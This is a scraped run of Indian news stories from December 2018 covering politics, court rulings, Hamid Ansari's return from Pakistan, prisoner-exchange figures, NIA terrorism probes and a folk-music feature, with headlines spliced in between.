leaders have said that the Congress is strong on 15-20 seats. If the party strikes a deal for less number of seats then this it will have to face the consequences in the future. Sources said that if the party did not take care of the sentiment of its workers, there is a possibility of party getting split in the state. The BSP and the SP are saying that formula is not yet announced. BSP general secretary tweeted that it is incorrect to say that Congress will not be taken on board. Actually, the BSP has decided names of its candidates on 40 Lok Sabha seats. It is being talked about that Mayawati may announce about the alliance on her birthday but it is not finalised how her birthday will be celebrated. 'Bulandshahr violence, a deliberate attempt to display majoritarian muscle' Chief spokesperson of the SP Rajendra Choudhary said that it is wrong that Congress will be out of the alliance. The party executive has authorised Akhilesh Yadav on the matter but he has not taken any decision so far. But the Congress leaders in the state are saying that the attitude of the SP and BSP towards the Congress has been anti-Congress and alliance with them will damage the prospect of the party in UP. Right to be forgotten: HC asks Centre, Google to reply to plea for removing verdict from search engine Delhi HC asks Centre, Google to respond to mans plea to remove articles on his conviction in criminal case Who is Saurabh Kirpal? Indias likely to get its first openly gay judge of Delhi high court Delhi HC dismisses plea to stop publication, sale of Salman Khurshid's book : 'Ask people not to buy it' Delhi HC provides interim protection to AI pilot Arvind Kathpalia who failed alcohol test India oi-Madhuri Adnal New Delhi, Dec 20: Delhi High Court on Thursday provided interim protection to Air India pilot Arvind Kathpalia who was accused of evading pre-flight breath analyser test for Bengaluru bound flight. The Court also asked Delhi Police to record his statement after Kathpalia claimed he was never asked by police to join the probe. Kathpalia was removed as director of operations of Air India in November this year after failure to clear pre-flight alcohol test, with the government citing "serious nature of the transgression and (his) failure to course correct". Suspended Air India pilot Arvind Kathpalia to lose airport access post alcohol test fail According to the police, Kathpalia operated a flight from New Delhi to Bengaluru without undergoing the mandatory pre-flight breath analyser test on January 19, 2017. Further, even at Bengaluru, he refused to undergo a similar test. Later, on his arrival in New Delhi, he allegedly went to Pre-Flight Medical Examination Room and made a false entry in the Pre-Flight Breath Analyzer Examination Register for the flight he had operated. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 13:52 [IST] Hamid Ansari returns home; Friends and well-wishers gather at airport to welcome him Don't fall in love over Facebook: Hamid Ansari tells youngsters India pti-PTI New Delhi, Dec 20: Having spent almost six years in a Pakistani jail, software engineer Hamid Nihal Ansari's advice to youth is simple: Don't fall in love over Facebook. He should know. It was on Facebook that he fell in love with a girl from Pakistan, went there to prevent her 'forced' marriage and before he could meet her, was arrested and jailed. That was six years ago. Thursday, as he reached his home in suburban Mumbai, he was in a reflective mood. "Never hide anything from your parents. Only your parents stand by your side in testing times. And never resort to any illegal means to go to any place," Ansari told media. Hamid Ansari returns home; Friends and well-wishers gather at airport to welcome him His tale is a lesson for several youngsters, who have experienced a new wave of freedom with the world of internet and social media. Asked what advice will he give to people who fall in love on Facebook, Ansari said, "Don't take (that) risk. Don't fall in love. Don't fall in love by trusting (what is on) Facebook." As Ansari and his family reached their fourth-floor flat in Versova after their arrival from Delhi Thursday morning, they were greeted by their neighbours who had decorated the gate with Welcome Hamid written on it with a blue ribbon. Hamid Nehal Ansari was 'physically tortured' by Pakistani authorities He said the news of his release came as a bolt from the blue. "At 6.30 am on Tuesday, the (jail) deputy superintendent came to me and said you have half an hour to be ready (for release). "I was very excited and decided not to waste a single moment. I changed my clothes, put on my shoes and sat in the vehicle. The convoy was ready (for my journey)," he said. Ansari was arrested in Pakistan in 2012 for allegedly entering that country from Afghanistan reportedly to meet a woman he had befriended online. Pakistan slapped espionage charges against him. He was repatriated on Tuesday and handed over to India at the Wagah-Attari border. PTI Hamid Nihal Ansari spent six years in Pakistani jail Ansari, 33, along with his parents left from New Delhi in the morning in an Air India flight and arrived at the Mumbai airport around 9.30 am, his father Nihal Ansari said. Relatives, friends and well-wishers greeted Ansari and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. Hamid Nehal Ansari was 'physically tortured' by Pakistani authorities Hamid Ansari with mother Fauzia Ansari Ansari was arrested in Pakistan in 2012 for illegally entering that country from Afghanistan, reportedly to meet a woman he had befriended online. Authorities in Pakistan slapped espionage charges against him. The Mumbai resident, who returned to India on Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. Ansari's family offering prayers at Wagah-Attari border According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken on account of relentless pressure from New Delhi, they said. Shortly before his arrival on Tuesday, his mother Fauzia Ansari had told reporters that the prayers of the family and of all those who wished for his safe return were answered. Ansari offering prayer upon entering India His father had said it was a new dawn for them. Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave the Pakistan government a month's deadline to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. (Images courtesy - PTI) Bombay HC dismisses petition seeking Manohar Parrikars medical examination India oi-Deepika S Panaji, Dec 20: The High Court of Bombay at Goa on Thursday dismissed a petition seeking medical examination of ailing Chief Minister Manohar Parrikar and, simultaneously, upheld his right to privacy. It also ruled that ill health does not make one incapable of occupying a constitutional position. "The constitutional functionary, merely on account of his ill-health, is not incapable to occupy the constitutional position which he occupies on account of his proven majority before the House of Legislature, and any individual who has rival political interest has to adopt a democratic method to unsettle the political power," the order by Justices Prithiraj K. Chavan and R.M. Borde said. The court also called the action of seeking Parrikar's medical examination by a panel of doctors and to report the outcome to the public is an "outrageous overstepping in the territory of privacy of an individual and which would be impermissible in law to grant such request". Goa: Ailing Manohar Parrikar inspects work on Mandovi bridge, to be ready by Jan 12 It stated, "There is no legislation in place which can form foundation of the claim raised in the petition." The order said, "Seeking strictly private and confidential information which deals with the privacy of the Chief Minister, without making the latter a party to the petition was not entertainable." The court rebuked the petitioner, saying "The litigation initiated under the garb of public interest litigation shall have to be categorised, as has been branded by the Supreme Court, either as a 'publicity interest litigation' or a 'private interest litigation' or a 'political interest litigation'." Parrikar is suffering from advanced pancreatic cancer and has been in and out of hospitals in Goa, Mumbai, New York and Delhi for nearly nine months. The Opposition has demanded Parrikar's resignation on account of his prolonged ill-health. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 18:20 [IST] Mumbai 26/11 attacks were bad, but the lack of will to hit Pakistan hurt the nation Imran Khan's remarks on Kashmir demonstrate Pakistans duplicity: India India oi-Deepika S New Delhi, Dec 20: India on Thursday strongly objected to Pakistan Prime Minister Imran Khan's remarks on civilians' deaths during violence in Jammu and Kashmir last week as expressions of "insincerity and duplicity." Ministry of External Affairs (MEA) spokesperson Raveesh Kumar said that Pakistan will do better to mind its own business and focus on its "messy" internal affairs. "The statements coming out from their side demonstrate their insincerity and duplicity," said External Affairs Ministry spokesperson Raveesh Kumar. Pak trying to revive terrorism in Punjab, fuelling unrest in Kashmir: Rajnath Following the death of seven civilians during clashes with security forces in Jammu and Kashmir's Pulwama district on Saturday, Khan tweeted "Strongly condemn killing of innocent Kashmiri civilians in Pulwama IOK by Indian security forces. Only dialogue & not violence & killings will resolve this conflict. We will raise issue of India's human rights violations in IOK & demand UNSC fulfil its J&K plebiscite commitment." In his briefing, Kumar reiterated India's demand that Pakistan stop allowing its territory to be used by terror groups and terrorists and exporting terrorism to other countries. "No action is being taken on that," he said. Imran Khan condemns civilian killings in Pulwama, vows to take up issue with UN "On the other hand, they have sometimes the gumption to comment on the internal affairs of a neighbouring country. I think it will be better if their mind their own business and look at their internal affairs which are in a mess," the spokesman said. On December 15, seven civilians were killed and several more injured when security forces opened fire on local residents who tried to disrupt a joint operation by the army and police in Pulwama district, during which three militants and a soldier also died. The killing of civilians in Sirnoo village triggered several protests in Pulwama, and people blocked roads at several places. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 21:12 [IST] Prisoners to be employed in petrol pumps to be set up by Kerala govt in jails India-Pakistan prisoners: Check data on number of releases India oi-Madhuri Adnal New Delhi, Dec 20: How many prisoners have India and Pakistan released? According to the data provided by the Ministry for External Affairs, as many as 1,557 Indians have been released from various prisons of Pakistan whereas a total of 318 Pakistanis were freed from Indian jails in the last four years. External Affairs Minister Sushma Swaraj, in reply to a question in Parliament, said a total of 174 Indian fishermen were released from Pakistan in 2018 (as on December 13) while 28 Pakistani fishermen were released in India in the same year. Pakistan releases 30 Indian prisoners ahead of Independence Day In 2018 (as on December 13), four Indian civilian prisoners were released by Pakistan while 21 Pakistani civilian prisoners were released by India, she said. A total of 508 Indian fishermen were released from Pakistan in 2018 (as on December 13) while 60 Pakistani fishermen were released from India in the same year, Swaraj said. In 2017, seven Indian civilian prisoners were released by Pakistan while 60 Pakistani civilian prisoners were released by India, she said. A total of 410 Indian fishermen were released from Pakistan while 9 Pakistani fishermen were released in India in the same year, Swaraj said. In 2016, two Indian civilian prisoners were released by Pakistan while 10 such Pakistani prisoners were released by India, she said. A total of 410 Indian fishermen were released from Pakistan in 2016 while 9 Pakistani fishermen were released in India in the same year, Swaraj said. Fresh batch of Jaish men being trained to release prisoners from Kashmir jails In 2015, four Indian civilian prisoners were released by Pakistan while 44 Pakistani civilian prisoners were released by India, she said. A total of 448 Indian fishermen were released from Pakistan in 2015 while 115 Pakistani fishermen were released in India in the same year, Swaraj said in a written reply. She also said that as per India-Pakistan 'Agreement on Consular Access' signed on May 21, 2008, lists of civilian prisoners and fishermen of each country lodged in the jails of the other are exchanged on January 1 and July 1 of every year. "According to the lists exchanged on July 1, 2018, there were 108 Pakistan fishermen and 249 Pakistan civilian prisoners in India's custody," she said. "Pakistan had acknowledged the custody of 418 fishermen and 53 civilian prisoners who are Indians or believed-to-be Indians in their jails. In addition, there is the issue of 83 missing Indian defence personnel, whose custody has not been acknowledged by Pakistan so far," she added. Minister of State for External Affairs V K Singh, replying to another question, said a total of 40 Indian nationals died while serving their sentence in jails of 15 foreign countries. He said 8,445 Indian nationals are in prisons in 68 foreign countries. Among these, the highest number of Indian prisoners are lodged in Saudi Arabia at 2,224, he said. Poor Indian family in UAE living like prisoners get help The second highest number of Indian prisoners among these 68 countries is in the UAE at 1,606 and the third highest in Nepal at 1,065, he said. In response to another question, Singh said 17 Indian fishermen from Tamil Nadu along with their three fishing vessels were arrested by Sri Lankan Navy on October 29, off Delft Island for crossing the International Maritime Boundary Line and fishing in Sri Lankan territorial waters. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 10:19 [IST] 'There is no UPA now': Mamata Banerjee takes swipe at Cong, calls for unity of regional parties against BJP Cong accuses Mamata Banerjee of 'political opportunism' after her 'no UPA' jibe; Prashant Kishor says Cong leadership not divine right of individual Mamata Banerjee govt to challenge Calcutta HC order allowing BJP Rath Yatra India oi-Deepika S Kolkata, Dec 20: The West Bengal government is likely to challenge the Calcultta High Court's order that allowed the Bharatiya Janata Party (BJP) to hold rath yatra rallies in the state. BJP national president Amit Shah was to flag off three chariots from different parts of West Bengal. These chariots were to travel in West Bengal's 42 parliamentary constituencies in one-and-a-half months before ending in Kolkata, where PM Narendra Modi was to address a rally. The saffron party had earlier moved the court with the plea after the state government denied it permission to hold the same. The Mamata Banerjee-led Trinamool Congresshad denied permission on the ground that it may lead disturbance of communal harmony. Calcutta High Court gives green signal to BJP's 'rath yatra' in West Bengal The high court on Thursday morning instructed the Trinamool Congress (TMC) administration to ensure there's no breach of law and order, and imposed conditions for the yatra. It said the procession shouldn't impede traffic, and that the petitioner (the BJP) would be responsible for any wrongful damage to public property. Welcoming the court's order, BJP's Kailash Vijayvargiya was quoted by ANI as saying, "We welcome this decision and we had trust on judiciary that we'll get justice.This decision is a slap on the face of tyranny. We haven't decided anything but I can assure that PM and party chief will join the yatra". Gujarat woman cop who took on ministers son says she has resigned Muzaffarpur: Constable kills colleague with rifle; arrested India oi-Madhuri Adnal Muzaffarpur, Dec 20: A constable has been shot dead by a colleague in the early hours of Thursday, reported ANI. Manish Kumar was killed by another constable, Prem Chand Prasad, with a self-loading rifle (SLR) at around 1.30 am in Amarpur. The accused has had a history of indiscipline and aggressive behaviour, the agency quoted Muzaffarpur SSP Manoj Kumar as saying. He has been arrested. Delhi: Cop robbed at gun point in an auto rickshaw, 5 arrested Meanwhile, police have made arrests in the November 28 killing of a Delhi Police constable. The five men killed a Delhi Police constable for demanding the repayment of a loan given to one of the accused, police said. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 9:32 [IST] NIA seizes incriminating material in Islamic State related case India oi-Vicky Nanjappa Chennai, Dec 20: The National Investigation Agency carried out searches at several places in Chennai, Coimbatore and Thiruvananthapuram in connection with an Islamic State related case. During the searches conducted, a large number of digital devices including mobile phones, SIM cards, memory cards, CDs/ DVDs with religious speeches and pen drives besides unaccounted cash, books and publications with incriminating content have been seized from the residences of accused persons. NIA looks to unearth cross border links in Kerala FICN case The case was originally registered against seven arrested accused persons and it pertained to the criminal conspiracy hatched by the accused with the intention of furthering the objectives of the proscribed terrorist organisation ISIS/ Daish by targeting prominent persons from other faiths. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 6:34 [IST] As Mamata Banerjee takes swipe at Rahul Gandhi, Cong says such posturing for personal ambition will help BJP No takers for Stalin's 'Rahul for PM' pitch; Is opposition a divided lot? India oi-Vikas SV New Delhi, Dec 20: When DMK chief MK Stalin backed Rahul Gandhi's candidature for prime ministership, many opposition leaders winced in discomfort and tried to downplay it by saying 'We will decide after elections'. This clearly shows that the opposition is a divided lot with several leaders harbouring prime ministerial ambitions. Many Opposition leaders being apprehensive about naming a candidate could prove counter-productive. This in a way is one of the key advantages for the BJP which would build an election narrative with a clear PM face. Stalin stands ground, defends his 'Rahul Gandhi for PM' pitch Voters have seen many coalition governments in the past and know how the governance takes a backseat when no party has clear majority. People also remember the 90s when there was a musical chair of sorts for PM post under United Front government. After the 1996 elections, Janata Dal, Samajwadi Party, DMK, TDP, AGP, All India Indira Congress (Tiwari), Left Front (4 parties), Tamil Maanila Congress, National Conference, and Maharashtrawadi Gomantak Party formed a 13 party United Front (UF). The coalition formed two governments in India between 1996 and 1998. The Prime Minister was first from Janata Dal - H. D. Deve Gowda, then later succeeded by I. K. Gujral, after both V. P. Singh, Jyoti Basu and Chandrababu Naidu declined to become PM. So far, except for a Janata Dal (Secular), which is dependent on Congress to ensure survival of the coalition government in Karnataka, or an all-weather ally like Rashtriya Janata Dal (RJD) in Bihar, there were not many vocal backers of Rahul Gandhi as the opposition's prime ministerial candidate. In fact, some key leaders such as Mamata Banerjee or Chandrababu Naidu, harbour their own aspirations for the top job. They have repeatedly said that a leader would be chosen only after the results are known. At an event to unveil the statue of former Tamil Nadu Chief Minister M Karunanidhi in Chennai, the DMK President MK Stalin on Sunday gave a ringing endorsement to Rahul Gandhi's candidature for prime ministership. Stalin showered Rahul Gandhi with praises, describing the Congress president as one leader who has the "ability to defeat the fascist BJP". 'Not necessary that alliance has the same opinion': Akhilesh on Stalin's pitch for Rahul as PM Rejecting Stalin's backing of Rahul Gandhi as the prime minister candidate, West Bengal Chief Minister Mamata Banerjee said the issue could be discussed after the 2019 Lok Sabha polls. "It could be discussed only after the 2019 Lok Sabha elections, once the opposition alliance emerged winners. All (opposition) parties will meet and decide on the issue. We will accept that," Banerjee said, reports PTI. Asked whether she was one of the contenders for the job, the Trinamool Congress supremo said, "This is not the time to discuss this issue. And I am not alone. We are working together. We are solidly together," she said. The opposition maintains that announcing prime ministerial candidate would be premature as it would divide the Opposition camp, but the fact is that by not naming a PM candidate, the alliance would be sending a negative message to the voter that it is a divided lot. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 11:36 [IST] Pak trying to revive terrorism in Punjab, fuelling unrest in Kashmir: Rajnath India pti-PTI Kevadia, Dec 20: Home Minister Rajnath Singh on Thursday hit out at separatists in Jammu and Kashmir, saying they exploit every possible situation to fan anti-India sentiments and incite the people. Inaugurating the annual conference of Directors General and Inspectors General of Police at the site of the tallest statue of Sardar Vallabhbhai Patel in Gujarat, the home minister said the Pakistan establishment is seeking to forge an alliance between the Sikh extremist groups, their country's Islamist outfits and Kashmir-focused terrorists to hurt Indian interests. Imran Khan condemns civilian killings in Pulwama, vows to take up issue with UN "The separatists exploit every possible situation to agitate the people, to fan anti-India sentiments which lead to law and order situations. Financing from across the border for militants and separatists is a cause of concern," he said. Singh said Pakistan has been perpetrating terrorist activities on Indian soil from Jammu and Kashmir to Punjab. The security situation in the hinterland and in Jammu and Kashmir continues to be vitiated even though stone pelting incidents have declined, he said. "Attempts by militants to infiltrate in large numbers, intermittent attacks and efforts at local recruitment continue. Terror infrastructure in Pakistan and PoK remains in the form of training camps, launching pads and communication control stations," Singh said. The home minister asked the security establishment to check efforts to revive terrorism in Punjab. He said recent terror incidents in Punjab and related interdiction indicate concerted efforts on part of the Pakistan establishment and Sikh extremist elements based in Pakistan to revive terrorism in the border state with active support from Sikh radical and extremist entities based abroad, especially Europe and America. Imran Khan's minister proved yet again that Hafiz Saeed is Pakistan's asset No. 1 "Pakistan establishment is seeking to forge an understanding between Sikh extremist groups and Pakistan-based Islamist outfits as well as Kashmir-centric terrorist groups for targeting Indian interests," he said. Singh said terrorism in the hinterland has been stamped out and the law enforcement agencies, through concerted action coordinated by Intelligence Bureau, have managed to thwart the first tide of propaganda and mobilisation by Islamic State in Iraq and Syria. "Consequently, India witnessed very few incidents of IS-inspired violence. In concerted counter-terrorism operations, law enforcement agencies have arrested nearly 125 suspected terrorists this year as against 117 arrested in 2017," he said. He said the new phase of Islamic State propaganda emanating from Afghanistan-Pakistan region was being countered effectively. The home minister said economic installations and iconic institutions are also being continuously targeted from across the western border through espionage and cyberspace. "Pakistan continues to abet terrorism and during the period January 1, 2017 to November 29, 2018, as many as 17 ISI-backed espionage modules have been neutralised in the country resulting in the arrest of 25 espionage agents which include two Pakistanis. "Various sensitive organisations, including the Indian Army, Air Force, Navy, ITBP, DRDO, BSF, CRPF, MEA, Airport Authority of India, Ministry of Petroleum and Natural Gas and the Indian Railways, have been targeted by PIOs from across the border through spoofed/crank calls to elicit sensitive information," he said. The conference of Directors General and Inspectors General of Police is being held at the site of the tallest statue of Sardar Vallabhbhai Patel in Gujarat. The 182-metre 'Statue of Unity' of Patel was inaugurated by Prime Minister Narendra Modi in Gujarat's Narmada district on October 31. Taller than the Statue of Liberty in the US, the Statue of Unity has been built on islet Sadhu Bet near the Sardar Sarovar Dam. The conference is an annual affair where senior police officials of the states and the Centre meet and discuss issues related to internal security, crimes and related challenges, another official said. The Modi government has been organising this meeting outside the national capital since it came to power in 2014. The last four conferences were held in Guwahati, Rann of Kutch in Gujarat, Hyderabad and Tekanpur in Madhya Pradesh's Gwalior district. The Statue of Unity was first conceptualised by Modi during his tenure as Gujarat chief minister. He had laid the foundation stone for it in 2013. Patel, also India's first deputy prime minister, was credited with merging of over 500 princely states into the Union of India. PTI No politics please: UPs deep rooted problem of radicalisation, terror have to be cleaned up Online recruitment of Muslims: Why the radicalisation scenario in Bengal is worrisome Killing of another RSS worker shows how deep rooted Islamic radicalisation is in Kerala Radicalisation, terror in the Valley: Top on the agenda at DGP meet India oi-Vicky Nanjappa New Delhi, Dec 20: Top on the agenda of the big DGP's meet would be radicalisation, terrorism in Jammu and Kashmir and cross border infiltrations. The annual meeting of the all the state police chiefs will be held in Gujarat and will be attended by Prime Minister, Narendra Modi and Union Home Minister, Rajnath Singh. J&K: Number of security personnel martyred in 2018 is highest in ten years Modi will be on a two-day visit to Gujarat on December 21 and 22 to take part in an annual conference and to address BJP women's wing workers, officials said Wednesday. The all-India conference of Directors General/ Inspectors General of Police is scheduled to be held near the Statue of Unity located in Narmada district from December 20, an official said. The three-day event would begin on December 20 in the presence of Home Minister Rajnath Singh. Modi would to attend the meet on December 21, according to a release issued by the state government. The venue for the meet is a 'tent-city' set up near the 182-metre tall Statue of Unity, a government official said. J&K 2018: 240 terrorists killed, 130 recruited, sniper squad busted 86 security personnel martyred The grand monument, dedicated to India's first Home Minister Sardar Vallabhbhai Patel, was inaugurated by Modi on October 31. Issues like clashes due to communal tension, circulation of communally sensitive news and pornographic material through social media are also expected to be discussed at the three-day meeting, he had said. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 10:41 [IST] Rajasthan CM and Dy CM to discuss names of ministers with senior leadership in Delhi India oi-Vinod Kumar Shukla New Delhi, Dec 20: Rajasthan chief minister Ashok Gehlot's meeting with state governor Kalyan Singh has given rise to speculation that ministers in the Gehlot government might take oath very soon. The chief minister and deputy chief minister have already been administered the oath of the office. After taking charge of the office of the chief minister, Rajasthan chief minister Ashok Gehlot had met with governor Kalyan Singh in the Raj Bhawan. However, this meeting is being termed as curtsy call. Gehlot reached straight to the Raj Bhawan from the chief minister's office. After MP and Chhattisgarh, Rajasthan waives off farm loans upto Rs 2 lakh But after this meeting of the CM and governor, political circle are abuzz with the formation of ministry in Rajasthan. Deputy chief minister Sachin Pilot is already in Delhi to discuss the matter with the senior leadership. Sources said that in all likelihood the chief minister will constitute his team and swearing-in ceremony of minister might take place on December 22, 2018. Speculation is also about the faces that would be included in the Gehlot government. It is being said that in the first expansion around one and half dozen ministers would be included. The ministry will be constituted looking into the Lok Sabha elections in mind that is just six months away. So a proper regional and caste balance will be made. It is expected that Ashok Gehlot will also reach Delhi on December 20 and both the CM and deputy CM will discuss names of the probable ministers in the Rajasthan government. For Breaking News and Instant Updates Allow Notifications Story first published: Thursday, December 20, 2018, 16:35 [IST] Denied appointment by Amit Shah, TMC MPs protest outside MHA over Tripura 'violence' TMC brings its fight against BJP to Delhi; party MPs meet Amit Shah after sitting on dharna for 4 hrs Did NCP chief Sharad Pawar had secret meeting with Amit Shah, Fadnavis? Here's the truth Cooperative model best suited for development of India having 130 crore population: Amit Shah Fake: Amit Shah did not read from the wrong of the Preamble on Constitution Day Shah, Adityanath to discuss Ram temple issue with Hindu religious leaders India pti-PTI Ahmedabad, Dec 20: BJP chief Amit Shah and Uttar Pradesh Chief Minister Yogi Adityanath are likely to participate in a meeting of Hindu religious leaders at Rajkot, Gujarat where several issues including the Ram temple are being discussed. Rashtriya Swayamsevak Sangh (RSS) chief Mohan Bhagwat and BJP's national general secretary Ram Madhav are also participating in the two-day meeting, which began at Arsh Vidya Mandir this morning. The 'Chintan Baithak' (brain-storming meet) has religious leaders associated with the Rashtriya Swayamsevak Sangh (RSS) and the Vishwa Hindu Parishad as participants. When will "achhe din" come for Lord Ram: Shiv Sena "Every two years, the Hindu Acharya Sabha which consists of top religious heads of various Hindu sects organises this Baithak," RSS Gujarat spokesperson Vijay Thakkar told . "All religious, political and social issues are discussed," Thakkar said, without elaborating. However, sources said that Ram temple issue would figure prominently in the discussions. BJP MPs takes up the issue of Ram temple in the parliamentary party meeting Gujarat BJP spokesperson Raju Dhruv confirmed that Shah will be coming to Rajkot Friday to attend the meeting. Adityanath is also likely to come, he said. Hindu right-wing organisations as well as the RSS have been raising the pitch for the construction of Ram temple at the disputed site in Ayodhya, saying that an ordinance could be brought in for this purpose. The Ram temple dispute is currently before the Supreme Court. PTI Sohrabuddin encounter: Was too scared to name cops, politicians, re-examine me says witness India oi-Vicky Nanjappa Mumbai, Dec 20: A key witness in the Sohrabuddin Shaikh alleged fake encounter case claimed that he faced torture for 20 days as a result of which he was scared to name IPS officers and politicians during his deposition before the special CBI court. Azam Khan, an associate of Sohrabuddin and Tulsiram Prajapati filed a plea before the special court seeking to be re-examined as a witness. He said that his testimony is incomplete and also sought protection for himself. His plea comes at a time, when the court is set to deliver its verdict on December 21. While Khan was able to name one retired IPS officer, he was scared to name the others after he was threatened by accused Abdul Rehman of the Rajasthan police on the morning of his deposition, the plea states. Sohrabuddin Shaikh encounter: Special CBI court verdict expected tomorrow He was specifically told that this was being done on the orders of Abhay Chudasama, who was discharged in 2015 and was also informed that all this had to be done before September 27, when they wanted Amit Shah to get bail, the application also said. Shah was named as an accused in the case, but was granted bail in 2010 and eventually discharged in 2014. Khan said that a large number of material witnesses have not been examined in the case and no explanation has been given. While there were about 500 listed witnesses in the chargesheets in the case, only 210 were examined by the CBI, of which 92 turned hostile. He went on to name three witnesses, including IPS officer Rajnish Rai, who were not examined. He also said that his statement recorded under Section 164 of the Criminal Procedure Code was not exhibited as evidence by the prosecutor. Another witness, Mahendra Zala, had made a similar plea on Tuesday. The court which is expected to give its verdict on Friday, will hear these pleas today. Khan further went on to add that his wife was threatened by a person who had said if her husband did not give the statement according to their wishes, he would meet a fate worse that Shaikh and Prajapati. My wife was also threatened with the same fate as Kausarbi, Khan also stated. Sohrabuddin Shaikh encounter: IPS officer destroyed leave records says CBI Khan, an alleged gangster based in Udaipur, said that he and his family have been facing a "growing number of threats" in the past few months. While he was included in the list of witnesses by the CBI, the agency had claimed that he was untraceable as he was a wanted accused in several cases filed in Rajasthan. Sohrabuddin Shaikh encounter: Special CBI court to deliver verdict today India oi-Vicky Nanjappa Mumbai, Dec 21: The Special CBI court in Mumbai will deliver its verdict in the Sohrabuddin Shaikh and Tulsiram Prajapati encounter cases today. In all 210 witnesses were examined in the case. Once the final arguments were completed, orders were reserved. The verdict is expected tomorrow as the Special Judge is set to retire by the end of this month. The CBI contended in court that the entire trial had been hampered by hostile witnesses. The agency also said that it had taken over the probe in 2010 from the Gujarat CID and most of the evidence that was placed on record was a result of the probe conducted by the CBI. Deposition of witnesses took place after 12 years, many of the witnesses stated that they could not remember the details and our star witnesses turned hostile. Thus, the entire chain of evidence has gone wrong and as a result we could not bring direct evidence, the CBI also submitted. Sohrabuddin Shaikh encounter: IPS officer destroyed leave records says CBI The CBI chargesheet said that BJP president Amit Shah and then home minister of Rajasthan, Gulab Chand Kataria were part of a nexus of politicians and criminals. There were 38 accused in all, but 16 including Shah were discharged in the case. The judge would also take a call on the applications filed by two witnesses, who had sought re-examination. The application has been filed by Azam Khan, a gangster currently lodged in a jail in Rajasthan and Mahendra Zala, a petrol pump owner. Khan has stated that he had been tortured for nearly 20 days before he appeared before the court, and because of threats he could not name several IPS officers and politicians involved in the case. Zala on the other hand had told the court that his statement was recorded under Section 164 of the CrPC, but the same was not produced before the court. ISIS rises: How radical-violent Islam poses a threat to Tamil Nadu India oi-Vicky Nanjappa Chennai, Dec 20: In a significant development, the National Investigation Agency conducted searches at seven locations in Tamil Nadu in connection with an Islamic State related case. The NIA said that searches were conducted in three places each in Chennai and Coimbatore and one at District Villupuram. The main contention by the NIA is that seven persons who were arrested in connection with this case were defending radical Islam and were propagating about the same on the social media. The investigation into this case began with the arrest of five persons from Coimbatore. The ones to be arrested were Ashiq (25), Ismail (25) from Dindivanam, Salavuddin (25) from Otteri, Jafar Sadiq Ali (29) from Vyasarpadi near Chennai and Shamsuddin (20) from Pallavaram in Chennai. NIA seizes incriminating material in Islamic State related case Ismail in his confession had said that Ashiq had promised them help for their operation. The NIA says that Ismail had links with the ISIS. The intention was to carry out a major operation on Ganesh Chaturthi. These developments are significant in the wake of the murders in Coimbatore.vMunnani spokesperson C Sasikumar in 2016 and an atheist H Farook in 2017 were murdered by radical Islamic groups. NIA officials tell OneIndia that the problem is a deep-rooted one. These persons are operating under the name of the Islamic State now. They are part of the same radical set up which has been propagating violent Islam. These operatives have been trying to propagate radical and violent Islam in several places at Tamil Nadu. Coimbatore, Cuddalore and Chennai are some of their key areas of operation. The first known ISIS recruit from India was in fact a resident of Cuddalore. Haja Fakkruddin, it may be recalled had in early 2014 left for Syria through Singapore to be part of the ISIS. This was followed by a series of events related to the group and there was an image on the social media that went viral, in which several youth were seen posing with ISIS merchandise. The threat of the ISIS has been looming large in the state and there are several pockets where the problem is severe. While looking into Haja's case, it was found that he was radicalised by a Cuddalore based group. Haja is not the only operative from Cuddalore to have joined the ISIS. A computer engineer was deported recently from Singapore. He said that it was he who had introduced Haja to this organisation, following which he was radicalised. NIA looks to unearth cross border links in Kerala FICN case During the various searches, literature relating to the ISIS had been found. Speeches of the 20th century Islamist thinker Abul Ala Maududi have been found in the possession of several youth. Further the police have also seized compact discs which had the speeches of radical elements such as Anwar Al Awlaki and Abdul Raheem Green. In its 2016 chargesheet, the National Investigation speaks about the role of Mohammad Naseer, a computer engineer in his mid 20s. Naseer was heading to Libya from Sudan, but was apprehended and later deported to India. He did his computer engineering from the MNM college in Chennai. It was at this time that he would visit a mosque at Chennai which was run by the Tamil Nadu Thowheed Jamath, non-political Islamic Organisation that preaches a puritanical version of Islam. This group was founded by P Jainul Abdeen in 2004, when he broke away from the Tamil Nadu Muslim Munnetra Kazhagam. The role of the ISIS in Tamil Nadu was unraveled in a big way in 2014. In August 2014, the police arrested Abdul Rahman and Mohammad Rizwan from the Ramnathapuram district on the charge that they were distributing t-shirts with the ISIS emblem. A photo showing 26 youth posing with the t-shirt in front of a Mosque at Thondi had surfaced on the social media. While the police were not able to find any direct link with the outfit, it however showed that the ISIS was gradually being received in the state. In Tamil Nadu, there are several groups which have been trying to wade off this threat. The high number of radicalisations in the state since early 2013 had left security agencies and many members of the Muslim community worried. These agri workers from Rajasthan go to Himachal every summer to play instrument & earn money India oi-Shubham Ghosh New Delhi, Dec 20: Agriculture is no more a rewarding field in India, thanks to government apathy, but these agricultural labourers from Rajasthan have not lost their taste for music and every year, they travel to Dharamshala in Himachal Pradesh to play 'ravanahatha', a popular folk instrument which is in practice for centuries, and also earn a bit of livelihood. The ravanahatha, which means ' the hand of Ravana', is a two-stringed instrument with a bowl made of coconut shell at one end. The player of the instrument holds the half-coconut end against his midriff and points the long bamboo stick outward. There is only one metal string along the length and one made of animal hair. The bow is moved across them to make music (resembling the violin). British women raped in Goa, accused flees with belongings "Every year we come here for a month in the summer to earn some money," Shanti, a woman from an agricultural family with her nine-year-old grandson Amarjeet who came to Dharmshala to play the 'ravanahatha', told People's Archive of Rural India (PARI). "Bajao, bajao [play 